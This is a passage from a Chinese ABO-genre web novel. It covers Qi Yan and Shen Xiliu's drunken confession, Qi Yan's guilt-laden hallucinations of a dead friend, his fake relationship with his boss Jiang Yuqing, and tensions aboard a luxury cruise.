那天,祁厌刚把东西拿回去,见上面堆积着厚厚一层灰尘,想着清理干净,于是在客厅里将信封全部拿出来放在桌面上,细细地擦拭着,又把写得乱七八糟的信封整理好,按着时间,一封封放好。 中途沈溪流回来了,祁厌站起来想要和他解释昨天的事情。结果沈溪流只瞥了他一眼,本就不好的心情变得更加糟糕,脸色瞬间冷了下去,转身就走。 祁厌那时候,完全不知道他为什么生气了。 盒子上没有中文,信封表面也只有时间,不像告白的信会加个爱心,站在原地思考的他没有去考虑那些无关的东西。 尤其是沈溪流只瞥了一眼,能看见些什么? 现在再提起这件事情,祁厌居然有种滑稽的可笑感,没忍住打断沈溪流:“你看见盒子上面写的内容?还认出来了?” “你当我瞎子吗?”沈溪流道,区区法语,他怎么可能认不出来。 祁厌:“你的视力多少?” 为什么一眼就扫到刻在盒子上的情诗?还精准翻译出来,就算不是法语,而是中文,祁厌也很难做到一眼扫视并且认出来。 沈溪流皱了皱眉:“2.1。” 相当优秀。 祁厌:“……” 一切好像都水落石出了,他不知道如何表达自己现在的心情,总归是有点复杂,想笑又笑不出来。 “哈。”祁厌抬手盖在眼睛上,骨节分明的手指遮掩住复杂的眸子,他微微后仰靠着沙发扶手,嗤笑一声。 半晌后缓慢放下手,祁厌盯着流露出妒意的沈溪流,无奈说,“沈溪流,你才是白痴吧!” “视力干嘛这么好,我吃饱了撑的才会写一盒情书!我又不是没长嘴,有话我不能当面说吗?我要是喜欢江与青,早就出国找他,才不会像某个人到死都不敢把信寄出去。”祁厌说得非常干脆,“那些不是我写的,我没这种浪漫细胞,只是帮人保存,现在也已经还回去了,你还有什么问题?” 听到这些话,沈溪流整个人都惊愕住了,简直不敢相信。但他很快立即反应过来,几乎是红着眼,急促地拽着祁厌的衣服,问:“那交往的事情呢?也是假的吧?你没有和江与青交往是吧?” 沈溪流问得又快又忐忑,眼泪几乎快要掉下来,漂亮的眸子覆盖着一层朦胧的水雾。所以他根本不用嫉妒任何人,也不用羡慕任何人,祁厌从头到尾都只属于过他一个人,没有任何人比他们更亲密吗? “嗯。”祁厌看着他,知道明天的沈溪流会将这一切都忘掉,于是平静点头,“都是假的,只是权宜之计,我没有和他交往,他有喜欢的人,我们是为了应付江爷爷才演戏。” “……” 泪水倏然滚落,眼睫毛也沾着水意,沈溪流忍了很久,终究是没忍住在祁厌面前,狼狈地哭了出来。 因为自尊心不允许,也不想被他看见,沈溪流只能低着头,试图挡住自己哭泣的样子,不停深呼吸。 “沈溪流,坐过来些。”祁厌没有松开他的手,示意他过来。 “……”沈溪流忍住丢脸的哭声,刚朝祁厌靠近一些,就被他倏地用力拉进怀里。 祁厌的右手绕过他的腰间,只是微微一用力就把沈溪流整个人都抱到怀里,坐到他的腿上。 手臂搂紧着沈溪流的腰,祁厌把脸埋到他的肩颈处,深深吸了口气:“还有什么误会就赶紧说出来吧,能解释的,我都会告诉你。” “……没有误会了。”沈溪流的下巴抵着他的肩膀,闭着眼睛强忍泪水,“祁厌,你应该猜到了吧?我喜欢你,所以拜托了,最后一个问题,你就告诉我,有没有喜欢过我就行了。” “……” 这个问题不好回答,猜到了又怎么样? 祁厌不敢再自作多情一次,上次换来的结果太惨烈,他没有那个勇气。 即使隐约意识到沈溪流愿意忍气吞声的原因,也会忽视,毕竟他只想利用沈溪流,没有进一步发展的计划。祁厌也曾询问过一些人,知道在假性标记的影响下,沈溪流很可能会产生移情,错以为自己真的喜欢上他。 但祁厌从来不认为沈溪流会真的喜欢他,即使现在,也或多或少带着些许怀疑…… 从未得到爱的人总是会患得患失,所以祁厌始终认为人不能活得太清醒,也别想着去揣摩人。毕竟人性是复杂的、多样化的,上一秒说爱你的人,下一秒或许就会说恨你。 沈溪流也是这样的人,当初上一秒他们还在和平相处,甚至让他看到了一丝希望,结果下一秒,沈溪流就将他死死踩到地上,让他别太自以为是…… 所以别想太多,这只是一桩交易,沈溪流拿他当替身和治病的药物,他也在利用沈溪流达成目标。 只要假性标记造成的移情和手伤的愧疚在,他就能利用沈溪流,做自己想做的事情,这就足够了。 自回国以来,祁厌就做好准备等着沈溪流来质问,未曾想到没等来质问,便先碰到喝醉酒的沈溪流了。 原本不愿意面对的事情,现在被喝醉酒的沈溪流全部揭穿了。 祁厌可以对把他当替身的沈溪流说很多垃圾话,但对着纯粹喜欢他的人,却说不出任何糟糕的话。 “……喜欢你的。”祁厌的眼神有些空洞飘渺,灵魂好似游离在躯体外,他低声喃喃着,半晌才回过神来。 我也曾经喜欢过你。 我本以为现在不会再喜欢了,但好像依然会为此刻的你而心动。 不过等你清醒以后,我们的关系依然会回归原点。 毕竟你只是短暂的出现,真正的沈溪流永远不会像现在的你这般直白坦率,愿意听我诉说,也愿意把内心袒露出来。 祁厌知道,醉酒后的沈溪流无法控制自己的情绪,他只是在酒精的作用下,变得冲动坦率,什么都愿意说,但这样的姿态不是真正的他。 真正的沈溪流应该是一副傲慢冷漠的姿态,冷静自持,总是理智地掌控情绪,而祁厌和他是无法正常沟通的,他们从来不是一个世界的人。 不知为什么想到刚才的那首法国情诗,祁厌记起来在哪里听过了。 之前在国外的时候,听江与青念过,说是法国一位诗人的诗歌,名字是《我爱你如爱黑夜的天空》。 那是江与青最喜欢的诗歌。 祁厌不会欣赏诗歌,他没什么浪漫细胞,对这首诗也没有任何感觉。反倒是在和江与青扮演情侣时,二人一起去看的一出话剧印象深刻。 ——【我们的情人不过是随便借个名字,用幻想吹出来的肥皂泡。】② 有些话,祁厌只敢对不清醒的人说出来,因为知道他终究会忘却一切,所以才有勇气说出。 面对清醒的沈溪流,祁厌知道,他这辈子都没有机会说出今晚的话。 即使一切都是虚假的,但起码也算是一次敞开心扉的机会吧? 第84章 前世 幸运 “祁厌, 你就没有什么问题要问我吗?” 祁厌平静地听着沈溪流表达自己喜悦的心情,好像过往的所有阴霾都被一扫而空,现在只剩下将他淹没的惊喜, 他心里还有很多话想说,说是一个问题, 其实还有很多问题。 但不能是自己单方面的询问, 如果祁厌有什么误会、问题,他也想回答…… “没有。”祁厌只是抱着他,手掌扣住沈溪流的后脑勺, 没让他乱动,“我没有问题。” 是没有问题吗? 只是没有必要问而已。 祁厌说:“沈溪流,你该休息了……” 他的下巴抵着沈溪流的肩膀, 目光直直望着前方的“人”。 “顾燕行”靠在窗边, 望着窗外的黑夜景色,他的身影越来越清晰,和生前的模样没有两样。 “今天,真是幸运的一天。” 他看了过来,额头渗出血,沿着苍白的轮廓蜿蜒流下, 长长的血痕衬得诡异阴森, 嘴角却带着一抹浅浅的笑。 “对吧, 祁厌?” “……” 或许吧。 祁厌疲惫地将脸埋进沈溪流的肩颈间, 起码, 就让他今晚清静一些吧。 …… 沈溪流醒来的时候,睡在一张普通沙发上,身上盖着一张毯子,头疼欲裂, 是宿醉后的难受,也是昨晚睡在沙发上导致的肌肉酸胀,脖颈更是酸痛得连脑袋都不敢转动。 他的记忆还停留在喝醉酒前,明明是很闹心的事情,身体也不舒服,但不知道为什么醒来以后,心里却是前所未有的轻松。 周围陌生的环境甚至无法让沈溪流警惕起来,仿佛身在很安全的地方一样。 “醒了?” 直到一道熟悉的声音凉凉响起,沈溪流下意识地看了过去。 祁厌站在窗边,伸手拉开窗帘,窗外的阳光一下子洒进来,显得有些刺眼,沈溪流不适地眯了眯眼睛,伸手遮挡住阳光,清醒过来。 适应光线以后,他才看清楚祁厌现在的样子。 大概是刚起床不久,祁厌的头发蓬松微乱,带着刚睡醒后的慵懒,晨光洒落在他身上,脸部轮廓线条相当优越,桃花眼显得深情缱绻,鼻梁高挺,嘴唇线条优美。他穿着白色的无袖背心和亚麻色的休闲长裤,很好地勾勒出修长挺拔的身躯,整个人的状态轻松惬意又居家…… 这是沈溪流从未见过的自然姿态,让他情不自禁心跳加速,难以移开视线。 然后,祁厌看了过来,用冷淡的语气说道:“沈溪流,下次别来我这里发酒疯,太难看了。” 一听到这话,沈溪流瞬间清醒过来,连脸色都微变,原本称得上轻松的心情,一下子坠落。 他有些僵硬地开口:“我……昨晚做了什么?” 沈溪流的记忆还停留在喝醉酒之前,他讨厌喝酒,但一想到和游弋通话中听见的那些话,就没忍住喝了一些。那么多年以来,他就只喝醉三次,三次都是在祁厌面前,而喝醉以后的他会做出什么事情,沈溪流完全不知道。 想起身边一些人喝醉后的样子,沈溪流越想,他的表情变得越难看,该不会他喝醉酒后,和那些喜欢胡言乱语、闹事的醉鬼没有两样吧? “你觉得你会做些什么呢?”祁厌笑了起来,脸上笑容有些嘲讽,又有些意味不明,“天亮了,你该走了。” “麻烦以后别再来我家。” 从祁厌家离开时,沈溪流整个人还是浑浑噩噩的,昨晚究竟发生什么事情?祁厌的态度好像变得比以往更加冷漠,难道昨晚的他做了什么吗? 一想到如果自己又做了伤害祁厌的事情,沈溪流忍不住又开始心慌起来,必须得想办法解决…… 他取出手机,原本想打电话给司机,但手机刚亮起来,祁厌的资料便映照在沈溪流眼前。原先一点都不想看到的那些“情史”赫然入目,沈溪流脸色一下子冷下来。 但不知为何,这次的心情不像以往那般沉重。 沈溪流的手指下意识地滑动着资料,目光落在祁厌多年以来的经历描述,脑海里浮现很多画面。遇到这些事情的祁厌都是抱着什么心情,渡过这困境,艰难熬过去…… 如果他们能够早点相遇就好了,他一定能够改变祁厌的未来。 “……”沈溪流发现不对劲了,“为什么会想到这些?” 甚至有些迫切地想要重新调查祁厌的过去,想要知道他的所有经历,想要对他了解更多,想要让这份资料变得更加详细,想要弄清楚那些所谓的情史…… “我昨晚究竟做了什么?”沈溪流深吸一口气,回头望着祁厌家的窗户,想到祁厌刚才说话的语气,他的心情愈发沉重,心神不宁。 “你就这样看着他走了吗?” 四楼,“顾燕行”站在阳光下,透着窗户盯着离开的人,微笑着看向窗帘后的祁厌:“你应该把他留下的,难得他这么喜欢你。” 祁厌没有看向“他”,冷静地走到饮水机旁,给自己倒了杯水,又翻出药物,按量吞服。 “为什么不理我?”“顾燕行”走了过来,苍白的面容斯文又忧郁,黑红色的血从他脸颊滑落,好像始终流不尽,“我们不是好朋友吗?” “别总是这么自责,我又不是被你害死,而是沈……” “不对。”听到这话,祁厌终于忍不住出声,打断他的话,冰冷的目光望着顾燕行,“害死你的人是我,不是他!” 沈溪流只是做了他该做的事情。 祁厌看得很清楚,顾燕行的死怪不到沈溪流身上,他们出现在沈湘婷的婚礼上,本就是试图破坏对方的婚礼。在这种情况下,沈溪流选择帮助自己的亲人,找出罪魁祸首本就是一件很正常的事情。 当时他也不过是第一次见到沈溪流,对方能够看在合同的份上,没把他交出去就算不错了。 两个试图破坏妹妹婚礼的陌生人和自己的妹妹婚礼,孰轻孰重,根本不用考虑。 如果换成祁厌,有陌生人来破坏祁戈或祁妍的婚礼,他也会毫不犹豫地抓住罪魁祸首,教训对方一顿。 这件事情上,沈溪流的做法没有错。 错的人是他,是他太过贪婪,试图获得本就不属于他的东西。 祁厌觉得自己还是太天真了,明明活了这么多年,早就该知道世界上没有白吃的午餐。他自以为是签下合同不会有事,结果却没想到,这合同的代价这般惨重。 如果只是付出自己这条命也就算了,反正他活该,但牵累到顾燕行,祁厌便有种喘不过气的感觉,生命的重量太沉重…… 【你……能看得见我了?】 就在祁厌还想解释的时候,站在一旁的“顾燕行”突然笑了起来,目光直勾勾地盯着他,表情逐渐变得冰冷扭曲,脸上的肌肉微微抽搐,咧出一个夸张而诡异的笑容,就像当初在停尸间看见的尸体一样。 【祁厌,你看见我了!】他凑了过来,带着一种癫狂的姿态,身上的鲜血几乎将那张苍白的面容染红,车祸导致半破碎的脸相当难看。 “……” 隐约闻到一股血腥味,从视觉到听觉,现在连嗅觉也沦陷了。 祁厌闭了闭眼,掏出电话,刚拨打过去,江与青立即接通,他的声音响了起来。 “祁厌,你是什么意思?居然把上司拉黑了?非要我跑到你家去把你找出来是吧!赶紧回公司,别想着辞职,也别想跳槽,我可是专门让人手把手把你带出来的,赶紧过来,今天的工作忙死了,我就你一个秘书帮忙,赶紧赶紧!” 江与青在电话另一端大声吼着,声音震耳欲聋,最后又放低声音,咬牙切齿。 “你千万别学顾燕行那个独断独行的神经病,靠!哪天我要是被气流产了,肯定和你们脱不开关系,居然这么折腾一个孕夫,还是人吗,简直不是人,一点A德都没有,绅士风度都白学了……” 他相当聒噪地骂着,祁厌听着听着就笑了起来。 窗外的阳光愈发热烈,他看着恢复斯文忧郁模样的“顾燕行”,他好像很忙,正低头戳着窗边的仙人球,耳朵微动。 祁厌说:“我现在就过来。” 他回到房间换好正装,再出来的时候,“顾燕行”已经站在大门边等待,双腿交错,靠在门边,眼神飘浮不定,某些细节作态和生前没有两样。 祁厌无视他,穿好鞋子,走出去,“顾燕行”也一路跟着,到公司以后就消失了。等再见到他,是在江与青的办公室,蹲在角落里,恐怖的眼神直勾勾地盯着江与青和他的肚子,像极了死不瞑目的鬼魂。 “赶紧,今天这些文件全部处理好,要不然就扣你工资!”江与青忙得停不下来,直接把一大堆文件交给他,让祁厌赶紧出去工作,别浪费时间。 祁厌连说话的机会都没有,就回到自己的工位,其他同事担忧地问他身体怎么样?请了那么多天的病假,身体好多了吗?他才反应过来,江与青大概是把他辞职的事情压了下来,改成病假。 【你不会又牵累到我家大小姐吧?】跟着出来的“顾燕行”幽幽问道,一点点撕碎伪装的真面目。 【害我没事,别害到他,沈溪流很狠毒的,你应该没有被昨晚的假象欺骗吧?没出息的家伙,你玩弄他这么久,他不会轻易放过你。我家大小姐只是个身娇体弱的艺术家,应付不来那种可怕的家伙。】 【其实你应该把他留下,然后找个机会,让我解决他,以绝后患……】 祁厌埋头处理工作,对他充满恶意的话充耳不闻,半晌后,掐着时间又吃了几片药物。旁边的“顾燕行”终于说够了,没过多久就消失不见。 等午休的时候,江与青才把祁厌叫进办公室,头疼地和他说起一件事情。 江爷爷还是没死心,让江与青去参加某个人的生日宴会,那人打算在豪华游轮上搞个七天七夜的生日派对,这次拒绝不掉。 江与青有些不满,只能叹气道:“到时候,你还得继续给我做挡箭牌,还有这段时间也得抓紧时间搞定工作,要不然好不容易搞定的项目又会被其他人抢走……” 他喋喋不休地抱怨着,祁厌听他抱怨完,才问他详细时间做好规划,结果听到日期时,记录到一半的笔微顿。 “怎么了?”江与青注意到他停顿的动作。 祁厌面不改色地说:“没什么,这个时间挺好。” 豪华游轮上的七天七夜,正好就是和沈溪流约定的三个月最后七天,如果没有意外,下船后,就不用再和沈溪流有那方面的牵扯了。 不过顾燕行说的也没错,谁也不知道清醒以后的沈溪流会做什么。 有沈溪流第一次醉酒的经验,昨晚醉酒后的事情,祁厌知道不能太当真,他依然得小心一些,避免沈溪流的报复给江与青添麻烦…… 第85章 前世 调酒 直到上游轮的时候, 沈溪流也没有作出任何报复的举止,仿佛易家倒台的事情没有发生一样。 但祁厌和江与青去医院拜访一位长辈时,倒是意外地在医院里看见过他, 便稍微注意了一下。 沈溪流是专门去见快到临产期的沈湘婷,不知道和他们说了什么, 没多久沈溪流就出来了, 而易扬一脸慌张地跟出来,不停和他说着话。 祁厌还是第一次看见易扬露出这种表情,就连沈溪流的脸色也比以往更加冷漠, 不知道易扬说了什么,沈溪流霍然停下,冰冷的目光落在易扬身上…… 他们在讨论什么?祁厌看了一眼周围的保镖, 还是选择转身离开。 三个月的时间还未结束, 沈溪流没有主动和他撕破脸皮,祁厌也愿意继续维持表面虚假的和平。 和他做完以后,刚起身下床,沈溪流缓过来后,开口道:“我重新调查了你的过去。” 祁厌的动作一顿,继续穿衣服, 并没有表达什么意见。 “祁厌, 你能听我说一下吗?”有了上回的经验, 沈溪流没敢去抓祁厌的右手, 而是抓住他的衣角, 有些艰难地开口,“非常抱歉,过去一直对你抱着不好的看法,对你产生这么多误会, 真的对不起……” 自从那天从祁厌家里离开以后,沈溪流就让人重新调查祁厌的背景。这一次非常详细,细致到连沈溪流不想去面对的那些“前任”,都让人仔细地调查一番,得到的结果完全出乎他的意料。 沈溪流不知道如何表达自己看到那些资料时的心情,有惊喜若狂,但看着祁厌过去的照片,他的心情又无比复杂沉重。 原先因为被祁厌的冷漠忽视而引起的愤怒与怨恨,好似一瞬间消失了。 明明压抑了这么久,随时都会爆发出来,沈溪流一直以来都在用理智压下心底的怒火与嫉妒,即使把自己逼得无比痛苦,也不想暴露在祁厌眼前,再次做出错误的选择。 毕竟这本来就该是他承受的,不是吗? 人做错事情就要付出代价,他曾经伤害过祁厌,所以现在正在为过去自己的所作所为负责。 但是在看见祁厌的过去时,所有的怒火好像都在那一刻消散了,取而代之的是密密麻麻的心疼。沈溪流无法不对过去的祁厌感到心疼,每次一想到他过去的经历,心口就好似被尖锐的刺反复戳刺,痛入骨髓,难以呼吸。 就连现在的表达都有些无力,沈溪流愧疚于过去的行为,不知道如何是好,只想拼命地向祁厌表达自己对他的…… “行了。” 祁厌穿好衣服,自从给江与青做秘书以后,他经常穿着正装,平日里看着正经严谨,但现在领带未系,西装外套穿得随意,看着有些潇洒不羁的随性。 “沈溪流,这些事情没有说的必要吧?” 祁厌打断沈溪流的诉说,盯着清醒的他,脸上带着很客气疏离的笑容:“我没有和别人回顾自己过去的兴趣,你也不用向我道歉,没有必要的。” 以往是沈溪流不愿意听祁厌的任何解释,现在的祁厌也认为他们之间没有聊这些的必要。 沈溪流没想到会听到这样的话,整个人一怔:“可是……” “别提了。”祁厌低声说道,“那些事情没有回忆的价值。” 不想在这个问题多费口舌,祁厌告诉他自己之后会参加一场生日宴会,由于对方是在豪华游轮上举办,将会花费七天的时间,正好卡在三个月的期限。这种事情瞒不过沈溪流,也没必要躲着掩着。 “如果到时候你也要去的话,请不要暴露我们之间的关系,我们互相保持距离。”祁厌提醒沈溪流,不要暴露二人的关系,这是一开始就说好的。 说完以后,他毫不犹豫转身离开,没有去看沈溪流那不敢相信的惊愕表情。 …… 时间过得很快,无论江与青多不想上游轮,都得按照行程进行。对方邀请的人不少,其中不乏有业务往来的商业人士、名流富豪和各家的青年才俊。 沈溪流向来不喜参与进去,这次也跟过去了,始终保持着不远不近的距离。看着江与青搂着祁厌的手臂,逢人就笑得一脸甜蜜,纷纷给人介绍祁厌的身份。 ——“对,这是我男朋友,祁厌。” ——“意外?这有什么好意外,他可是我的缪斯哦!” ——“结婚?呵呵,或许就在不久后。” 沈溪流偶尔听见那么一两句,就如鲠在喉。 好不容易消失的嫉妒再次浮现,不受控制地在内心深处隐秘的角落翻涌而出,带着粘稠的恶意侵蚀着理智。 来的沈家人不仅沈溪流,还有游弋和另外几个同辈。 强行被保镖绑走,又丢上船的游弋心里不甘,却又反抗无能,索性躺平享受。 此刻注意到沈溪流的眼神时,他喝着果汁提醒:“哥,稍微收敛一下吧,你这样的行为真的很像痴汉哎。” “……”沈溪流冷漠地瞥了他一眼,神情一如以往高傲,压根和痴汉搭不上边。 游弋小声嘀咕:“我说真的。” 没开玩笑,沈溪流现在和来抓老公偷情的原配没有两样,甚至有过之无不及,阴森森的眼神像极了冷血无情的杀手。 “总感觉有人在背后盯着我,凉飕飕的。” 时间差不多以后,江与青和祁厌找了个借口离开,回到房间休息。 “错觉吧。”祁厌让他别多想,江与青没生病,感觉不到“顾燕行”。 江与青倒也没多放在心上,耸动着肩膀:“不过今天上来打招呼的人还真多,给人的压力真大,明明以前只是表面功夫,今天却这么热情,让人心累。” 祁厌的压力比他还大,应付其他人倒是没什么,更可怕的是旁边有一双死人眼睛正在注视着他被江与青抱着的手臂。 “大概是因为你现在被委以重任,试图接手国内的公司,不得不高看你。”过去的江与青只想搞艺术,现在的他却是想要争一争江家的权利,旁人自然会用不一样的目光去看。 “也是。” 他们正坐在房间附带的宽敞阳台上,吹着海风,祁厌看着外面波光粼粼、一望无际的海面。 他听见江与青意外地说道:“不过倒是没有想到,沈溪流居然也会应邀而来,我记得他这人向来不喜应酬,连邀请都很少接下,结果今天居然来了……” 刚上游轮那会儿,在甲板上看见一身冷冽气质的沈溪流时,江与青还有些意外。随即考虑到双方的合作,忽略掉某些事情,和祁厌过去和他打招呼,沈溪流的目光看了他们半晌,只略微点头,就转身离开,连句话都没说。 那副姿态差点让江与青以为自己又是哪里得罪对方了。 “对方想来就来,你别太在意别人。”祁厌说道,不是很想和江与青聊到沈溪流。 江与青想到最近发生的事情,摸了摸鼻子。也是,他们把易家都搞倒台了,对方没有趁机在项目里下绊子就算不错了。 “嗯,不说他了,我们先去餐厅用餐怎么样?祁厌你想要吃中餐还是西餐?” “我都行,你看你想吃什么。”祁厌对一切都无所谓。 这艘豪华游轮造价昂贵奢侈,空间相当充足,光是餐厅都有数十个,一不小心还真有可能在船上迷路。船中还提供着各种娱乐设施,无论是酒吧、赌场、俱乐部、健身房、游戏厅等等都一应俱全。 江与青想着来都来了,索性玩个痛快,好好享受一番。两人去四层的甲板上的一家餐厅用晚餐,又在五层的一些品牌商店逛了一圈,才各自分开。 江与青认为“情侣”也不需要一直缠在一起,那样太假了。便去找几个关系不错的公子哥和名媛去玩,也让祁厌多多享受一下,难得来一趟。 听到这话,祁厌恍若得救,但也没多大兴致出去玩。 虽然和沈溪流说好了互当陌生人,但时不时会看到他出现在周围,简直就是2号“顾燕行”。 一个盯梢的就够烦了,再来一个的话,祁厌怕吃再多药都控制不住情绪。索性去露天咖啡厅买了杯咖啡就回房间,躺在阳台上的躺椅吹着海风。 但身边的“人”一直聒噪地说着话,对祁厌进行骚扰,其难缠程度远超活人。刚才在一家珠宝店也是这样,非对他说某对红色宝石耳钉很适合江与青,逼着他买,以“他”的名义送给江与青。 祁厌仔细观察了下,那对红色宝石耳环和他们以前小时候在江家看电视剧时,女主角盛装惊艳出场时,所戴的红色宝石耳钉非常相似。 江与青当时就非常喜欢,趴在电视机前,仔仔细细地欣赏一番后,又分析一遍其艺术性,以至于顾燕行当时就信誓旦旦地保证以后也给他送,两人很快就演上一出狗血剧。 彼时名字还是易衍之的小祁厌紧皱眉头围观,无法理解他们为何随地大小演? 【祁厌,你欠我一条命,得保护好他。】 【别忘了,这是你欠我的。】 “顾燕行”一直催着他去找江与青,把祁厌说到不耐烦,掐灭香烟,发信息询问江与青在哪里,又吃了几颗药后。 “顾燕行”才肯作罢,消失在眼前。 走出房间,没多久就遇到沈溪流:“祁厌……” 祁厌只看了一眼好像有话要说的沈溪流,便和他擦肩而过。 “……” 沈溪流到嘴的话被堵住,心口一阵发闷,但看到走廊里还有其他人,想到祁厌之前说的话,他只能深吸口气,闭上嘴。 夜幕降临时,游轮上灯火辉煌,犹如一座海上宫殿,站在甲板上的人或西装革履,或身着华丽的晚礼服,在音乐声中惬意交谈。 四层甲板的一家清吧相当有格调,内部装修风格简约优雅,舒缓的钢琴声响奏,让人放松惬意。祁厌到的时候,江与青正凑到吧台处,想让调酒师给他调一杯酒,没注意到祁厌的到来。 “调一杯度数低一些的,最好健康点,口味偏酸甜,还是算了,实在不行的话,水果口味也可以,无酒精吧……” “咚咚!”没等他说完,一只戴着黑手套的手从他旁边穿过,轻轻敲了两下台面,悠悠开口,“忍了这么久,来一会儿就忍不住了?能不能考虑一下你的身体状况?” 江与青猝不及防地吓了一跳,看向满脸无语的祁厌,讪讪一笑:“嘿,你怎么来得这么快?我这不是反悔了吗。” 他只是看着身边人享受,自己又开始有点犯恶心呕吐,就想着喝几口适合的饮品压一压呕吐感,然后便忍不住过来,想让调酒师帮忙调一杯适合的低度酒,但说着说着他其实也有点后悔了,早知道还不如不来…… 祁厌背对着吧台,坐在高脚椅上,一条长腿随意伸直,另一条腿屈膝踩在底座横杠,流露着漫不经心的慵懒魅力:“你想要喝什么口味?” “嗯?”江与仿佛没听清楚,他又重复问了一遍。 江与青讶异:“你现在可以重新调酒了吗?” 祁厌说:“不算吧,随便给你调一杯应该还行。”反正不用技巧,就随便调一杯无酒精的果汁饮料。 但江与青还是眼睛一亮,有些惊喜:“那拜托祁调酒师了,我想要来一杯口感清爽解腻,味道丰富清新,酸甜爽口,又不能太酸也不能太甜。最好带点龙舌兰风味,但不要有酒精,0ml/d就好。只要能压下反胃的感觉,顺便补充维生素就好……” “……” 听完他一长串的瞎扯要求,祁厌和吧台里面的调酒师面面相觑,还没开口,对方先说:“您请?” 祁厌:“……” 他嘴角一抽,倒也不用这么谦让。索性绕到吧台后面,琢磨着给江与青调了一杯。 虽然没用上技巧,右手也依然不太方便,容易拉扯到手部神经,但是一旁的调酒师观察出来:这人以前应该很擅长花式调酒,好几个动作差点习惯性地用出来,左手依然流利顺畅,但右手明显有伤,连手套都没脱…… 手套的触感压下试图抛瓶的本能,祁厌勉强给江与青调完一杯,让他慢慢喝,自己去趟厕所。 “去吧,去吧,我们待会儿见。”江与青拿过吸管,喝了一口,不错,挺符合他的口味。于是慢悠悠地和调酒师聊了几句,才端着酒杯回到原位。 有一个关系不错的朋友低声问道:“与青,你和沈先生很熟吗?刚才他好像一直在看着你和你男朋友。” 江与青没多说什么,他也注意到了。估摸着是易家的事情导致的,但碍于他们现在是合作伙伴,沈溪流应该不会轻易翻脸,于是和朋友岔开话题。 朋友见状,识相地不再提。 他注意到沈溪流是在江与青的男朋友进来以后没多久才过来,现在离开依然是跟在江与青男朋友后面离开的,而且盯着他们的眼神……多少有些危险。 “祁厌。” 从厕所走出来的祁厌被沈溪流给叫住了,他穿着一身黑色西装,神情依然冰冷傲慢,此刻望着祁厌的目光却难以掩饰眼底的怒意。 祁厌脚步一顿,见走廊里只有他们两个人,才朝他开口:“有什么事吗?” “……”沈溪流无法形容此刻的心情,维持着冷静的姿态,开口说:“你还记得以前答应过我的事情吗?就是我们上次一起喝酒时,你答应过我,以后会再给我调一杯莫吉托……” “我确实答应过。” 祁厌整理着自己右手上的黑手套,修长笔直的手指被丝绸包裹,完美贴合手型,骨节处微微隆起,看着性感又优雅,语气却淡淡。 “但前提是我的手恢复。” 第86章 前世 犹豫 所有的话语和愤怒都被一句话给堵了回去。 沈溪流的目光落在祁厌的右手上, 他一直以来都认为自己足够冷静,可在游轮上看到祁厌对江与青的关怀时,好几次差点控制不住情绪。 他本以为自己可以忽视的, 但一想到江与青抱着祁厌的手臂,逢人就介绍那是他的“男朋友”, 祁厌给他买象征爱情的红宝石耳钉, 又不在意右手伤势,给他调酒…… 沈溪流感觉自己大脑里名为“理智”的弦快要崩断了。 “还有什么事情吗?”祁厌问道。 沈溪流有些麻木地盯着他,想要问祁厌还想要报复他到什么时候? 他已经在想尽办法弥补了。 太恶劣了, 沈溪流心想,无论是烟花前的虚假和好,还是出国在外时的默认情侣, 都能让他感到无比欢喜。结果一回来又被打入深渊, 祁厌予他希望,又让希望破灭,带来强烈的心理落差,沈溪流从未品尝过这种让人绝望愤恨的滋味。 打一鞭子,给一颗糖吗? 但沈溪流没敢说出来,他害怕控制不住情绪, 说出伤人的话, 到时候他们的关系就彻底崩盘了。 所以, 还是再忍耐一下吧。 “我的信息素有些失控了。”沈溪流垂着眼帘说道, “来我房间吧。” 他不会把祁厌让给任何人, 也不会让祁厌去找江与青。先前定下的三个月只剩最后几天,一旦从豪华游轮离开,或许祁厌就会彻底离开他。 在这有限的时间里,他一定会想到办法, 让祁厌永远留在他身边,不管如何,无论使用任何手段…… “祁厌,你这几天是没睡好吗?”一连五天,江与青注意到祁厌好像有些疲惫,以为他是不习惯游轮上的环境。 “不,恰恰相反,睡得很好,很死。”祁厌面无表情地吃着生蚝,喝着泡枸杞的养生水,幽幽说道。 只是沈溪流太难缠,不把人做晕,根本无法离开他的房间。再厉害的alpha连搞五天,也累得够呛,每次想要点到为止,沈溪流就嘲笑他是不是不行了。 祁厌:“……” 身为一名正常的alpha,他拒绝承认自己不行。为维护alpha的尊严,直接被硬控五天,压根没时间去找其他人。 “哦,那你要不要来一份烤羊排?这家味道真不错。”江与青建议。 “……要吧。” …… “略。” 一家养生餐厅里,游弋吐了吐舌,狂喝几口水,低声吐槽。 “这家的养生汤好难喝,还不如熬两天,等下船以后,去专门的店里去吃,你怎么突然想要来喝了?” “想来就来,你少管闲事。”沈溪流冷着脸,缓慢地喝着养生汤,还剩两天。 游弋瞥他一眼:“看你脸色也不错啊,有必要过得这么仔细吗?都快赶上我爸了,提前过中年人的养生生活?” “吃东西,少说话。”沈溪流喝完汤,动作优雅地擦了擦嘴。 游弋嘟囔道:“你真无聊,都来游轮玩了,没事就整夜待在房间里,有什么意思?明明晚上才更加热闹好玩……” 这可就剩两天,沈溪流果然够宅,纵然到海上了也没兴趣出去玩。原本游弋以为沈溪流今晚也会继续待在房间里,结果意外地被他叫出去,以为他终于要有夜生活时,到了赌场,注意到某个人时,才反应过来。 游弋一眼扫过赌场,扯了扯沈溪流,有些讨好地笑道:“表哥,不管怎么样,今晚你先认真点,别光顾着看alpha,我们去玩几把扑克牌吧,我钱都给你,帮我赚点零花钱……” 他被逐出家门以后,所有财产都被冻结,在游轮上的几天都是蹭吃蹭喝,难得来这里,多少动了点赚零花钱的心。反正打赢算他的,输了算沈溪流的,要钱没有,要命一条。 “一边去。” 沈溪流没兴趣搭理他,他对这些没有兴趣,但游弋一撇嘴,见他磨磨蹭蹭,直接跳过他,先去笑眯眯地去和祁厌、江与青打招呼,问他们要不要去玩扑克牌。 这下子就算是沈溪流不想,也得跟着过去。 “哥,我跟你讲,想要撬墙角,总是在背后盯着没有,得做出实际行动……”游弋还腆着脸过来说,自己帮他创造机会了。 沈溪流眉头微蹙,不喜欢他这种说话,冷笑一声:“自作聪明。”他和祁厌的关系,和游弋想象得可不一样。 冰冷的目光扫过身着红裙的江与青,他今晚打扮得相当耀眼,还戴了祁厌给他买的红宝石耳钉,在水晶吊灯的绚丽灯光下显得熠熠生辉,看得沈溪流心里愈发堵塞。 不应该过来的。 沈溪流和游弋恰好坐在祁厌和江与青的对面,那两人打了下招呼,就像一对甜蜜的小情侣凑在一起说说笑笑,给沈溪流带来的冲击力相当大。以往最起码都保持着不远不近的距离,现在却近在咫尺,沈溪流肠子都悔青了。 